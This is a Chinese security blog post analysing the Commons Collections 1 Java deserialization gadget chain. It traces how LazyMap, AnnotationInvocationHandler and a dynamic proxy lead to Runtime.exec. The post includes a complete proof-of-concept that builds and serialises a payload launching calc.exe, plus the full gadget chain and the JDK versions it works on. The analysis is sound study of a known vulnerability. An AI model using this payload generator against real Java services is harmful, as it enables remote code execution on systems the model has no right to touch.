Java安全之Commons Collections1分析（三）

2020 年 10 月 11 日
笔记
JAVA, JAVA安全

Java安全之Commons Collections1分析（三）

0x00 前言

继续来分析cc链，用了前面几篇文章来铺垫了一些知识。在上篇文章里，其实是硬看代码，并没有去调试。因为一直找不到JDK的低版本。全靠脑子去记传参内容尝试理解。后面的其实就简单多了，在上篇文章的基础上再去做一个分析。

0x01 CC链的另一种构造方式

上篇文章说到使用LazyMap 的get方法也可以去触发命令执行。因为LazyMap 的get方法在

这里看到this.factory变量会去调用transform方法。前面也分析了该类构造方法是一个protected修饰的。不可被直接new。需要使用decorate工厂方法去提供。那么在前面我们调用该方法并传入innerMap和transformerChain参数。

这里的innerMap是一个Map的对象，transformerChain是一个ChainedTransformer修饰过的Transformer[]数组。

Map tmpmap = LazyMap.decorate(innerMap, transformerChain);

传入过后，LazyMap 的get方法方法里面的this.factory为Transformer[]数组，这时候去调用就会执行transform方法，而ChainedTransformer的transform方法又会去遍历调用Transformer[]里面的transform方法，导致使用方式的方式传入的Runtime调用了exec执行了calc.exe弹出一个计算器。

当然在实际中，我们还需要借助其他的类去调用这个get方法。

而在AnnotationInvocationHandler的invoke就会去调用get方法。

 public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            byte var7 = -1;
            switch(var4.hashCode()) {
            case -1776922004:
                if (var4.equals("toString")) {
                    var7 = 0;
                }
                break;
            case 147696667:
                if (var4.equals("hashCode")) {
                    var7 = 1;
                }
                break;
            case 1444986633:
                if (var4.equals("annotationType")) {
                    var7 = 2;
                }
            }

            switch(var7) {
            case 0:
                return this.toStringImpl();
            case 1:
                return this.hashCodeImpl();
            case 2:
                return this.type;
            default:
                Object var6 = this.memberValues.get(var4);
                if (var6 == null) {
                    throw new IncompleteAnnotationException(this.type, var4);
                } else if (var6 instanceof ExceptionProxy) {
                    throw ((ExceptionProxy)var6).generateException();
                } else {
                    if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                        var6 = this.cloneArray(var6);
                    }

                    return var6;
                }

这里特地标出来

Object var6 = this.memberValues.get(var4);

前面说过构造方法传入的是transformerChain， this.memberValues=transformerChain this.memberValues 是一个ChainedTransformer修饰过的Transformer[]数组。这时候调用get，get方法调用transform,又回到了刚刚的话题上了。

AnnotationInvocationHandler的invoke怎么去调用呢？

在这里会使用到动态代理的方式去调用到该方法。关于动态代理可以参考该篇文章动态代理机制。

0x02 动态代理

关于动态代理，在这里其实还是有必要单独拿出来说一下动态代理这个机制。

动态代理的实现：

Proxy.newProxyInstance(Person.class.getClassLoader(), Class<?>[]interfaces,InvocationHandler h)

第一个参数：People.getClass().getClassLoader()，使用handler对象的
classloader对象来加载我们的代理对象
第二个参数：Person.getClass().getInterfaces()，这里为代理类提供的接口是真实对象实现的接口，这样代理对象就能像真实对象一样调用接口中的所有方法
第三个参数：我们将代理对象关联到上面的InvocationHandler对象上

0x03 POC 分析

public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        Class clazz =
                Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class,
                Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
        oos.writeObject(handler);
        
    }

主要是来看这一段代码

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

这里的handler是反射创建的一个 AnnotationInvocationHandler类。而AnnotationInvocationHandler中实现了InvocationHandler接口，可以直接作为调用处理器传入。

那么在这段poc的执行中执行反序列化的时候，AnnotationInvocationHandler重写了readObject()方法，所以调用的是AnnotationInvocationHandler的readObject()方法。readObject()方法会去调用memberValues的entrySet()方法。这里的memberValues是构造方法传入进来的参数，我们是使用反射的方式对他进行创建传入的是proxyMap。

对应的代码：

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

因为proxyMap是我们的代理对象，所以调用proxyMap的entrySet()会触发到AnnotationInvocationHandler的invoke()方法进行执行。这也是动态代理的一个特性，代理对象调用任意方法，调用处理器中的invoke()方法都执行一次。

执行AnnotationInvocationHandler的invoke()方法后又会调用get方法，再次回到刚刚的地方了。

LazyMap 的get方法方法里面的this.factory为Transformer[]数组，这时候去调用就会执行transform方法，而ChainedTransformer的transform方法又会去遍历调用Transformer[]里面的transform方法，导致使用方式的方式传入的Runtime调用了exec执行了calc.exe弹出一个计算器。

那么就刚好对应了前面标出来的一个利用链

Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

0x04 结尾

在CC1这条链里面其实是有版本限制的，在高版本无法使用。因为AnnotationInvocationHandler的readObject()复写点这个地方在高版本中是进行了改动。在其他大佬测试中jdk1.7u21、jdk1.8_101、jdk1.8_171这几个版本是可用的。

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